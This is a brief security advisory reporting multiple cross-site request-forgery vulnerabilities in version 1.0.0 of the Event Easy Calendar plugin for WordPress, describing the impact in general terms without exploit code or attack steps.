The Event Easy Calendar plugin for WordPress is prone to multiple cross-site request-forgery vulnerabilities.
Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.
Event Easy Calendar 1.0.0 is vulnerable; other versions may also be affected.
